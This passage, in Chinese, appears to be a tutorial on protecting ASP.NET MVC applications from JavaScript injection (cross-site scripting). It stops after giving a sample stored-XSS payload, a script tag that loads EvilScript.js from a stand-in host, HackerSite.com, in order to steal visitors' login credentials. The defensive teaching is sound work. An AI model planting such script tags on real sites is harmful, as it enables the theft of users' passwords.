介绍ASP.NET MVC


  本文标签:ASP.NET MVC

  在本文中,我们将探讨如何在ASP.NET MVC应用程序中有效地防范JavaScript注入式攻击的问题  。

  1、简介

  在本文中,你将了解到JavaScript注入式攻击远比你可能想象的那样严重  。首先,我会向你展示如何使用一个JavaScript注入攻击对一个ASP.NET MVC网站进行恶意操作,然后,我会向你解释如何使用一种很容易的方式来阻止这一类型的攻击  。

  当你从一个你的网站的访问者那里收集表单数据并且你想把此表单数据再次展现给其他的访问者时,你应该对这些表单数据进行必要的编码  。否则,你正在把你的网站的大门向JavaScript注入式攻击者敞开  。

  例如,如果假定你正在创建一个讨论性质的论坛网站,那么请确保当你把消息显示于一个web页面之前已经对此论坛消息进行了必要的编码  。如果你没有对该消息进行编码,那么,有人就有可能向服务器端寄送一条包含JavaScript脚本的消息,而此脚本有可能对网站进行恶意的破坏  。

  在本文中,我想特别强调的是一个怀有恶意的黑客完全有可能使用一个JavaScript注入攻击进行十分恶毒的网站破坏  。然而,有许多web开发者对如何有效地阻止JavaScript注入式攻击不太关心  。其实,主要的问题还在于大多数开发者并没有完全意识到危险性的存在  。他们认为你通过一个 JavaScript注入式攻击可能做出的最坏的事情也不过是破坏一个网站的外观显示  。在本篇中,我要向你展示一个怀有恶意的黑客可以凭借一个 JavaScript注入式攻击窃取一个网站所有的用户名称和口令资料  。这种情况下,你必须采取必要的防范措施

  根据Wikipedia提供的资料,JavaScript注入式攻击已经远远超过缓冲区溢出而成为大多数场合下公认的安全脆弱性  。更有甚者,根据Wikipedia提供的数据,目前大约有70%的网站并没有施加对于JavaScript注入式攻击的防范措施  。这真是太令人吃惊了 

  2、如何使用JavaScript偷窃另一个人的口令

  下面我将向你说明一个恶意的黑客如何使用一个JavaScript注入式攻击来实现恶意的破坏  。设想你基于ASP.NET MVC创建了一个顾客调查应用程序

  该顾客调查应用程序是一个十分简单的应用程序  。用户可以通过把关于一个产品的回馈信息输入到一张表单而提交回馈信息  。顾客还可以观看前面所有其他顾客留下的所有产品回馈信息  。注意,该回馈表单在页面顶部包括一个登录表单  。该顾客调查应用程序在它的母版页面中包含了一个登录表单因为该回馈表单页面会将当前顾客输入的信息再次显示给其他顾客;所以,该页面也就对JavaScript式注入攻击者敞开了大门  。一个恶意的黑客仅需要把下列文本输入到回馈表单域中:

  1. <script src=http://HackerSite.com/EvilScript.js> script >